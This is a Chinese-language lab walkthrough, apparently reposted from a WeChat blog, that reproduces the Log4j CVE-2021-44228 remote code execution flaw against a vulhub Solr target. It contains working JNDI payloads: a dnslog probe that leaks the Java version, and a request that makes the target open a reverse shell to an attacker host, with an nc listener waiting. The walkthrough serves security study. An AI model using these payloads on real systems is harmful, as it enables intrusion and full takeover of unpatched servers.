Log4j CVE-2021-44228远程代码执行漏洞
影响范围
Apache Log4j 2.x <= 2.14.1
漏洞成因
Log4j2默认支持解析ldap/rmi协议,并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
漏洞利用
环境准备
|
|
---|---|
|
|
|
|
首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8983即可
cd vulhub-master/log4j/CVE-2021-44228
docker-compose up -d
漏洞复现
首先准备好生成利用的工具:JNDIExploit-1.2-SNAPSHOT.jar
在利用漏洞之前,需要先判断目标是否出网,这里我们采用ceye来判断,也可以使用dnslog
POC:#记得修改xxx.dnslog.cn为自己的,下方二选一
${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}
然后访问链接:
http://192.168.75.146:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
接下来在ceye或dnslog端即可看见java版本信息了,如下图所示,若无信息返回,则代表不出网
接下来我们通过准备好的利用工具,输入如下指令
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.75.162
执行完上述命令会开启ldap和http服务,如下图所示:
接下来新打开一个cmd窗口执行以下命令:
nc -lvvp 6666
监听启动后我们在浏览器输入:
http://192.168.75.146:8983/solr/admin/cores?action=${jndi:ldap://192.168.75.162:1389/Basic/ReverseShell/192.168.75.162/6666}
访问上述地址后,可以看到如下图,反弹shell成功,此漏洞利用成功
原文始发于微信公众号(0xh4ck3r):Log4j CVE-2021-44228远程代码执行漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论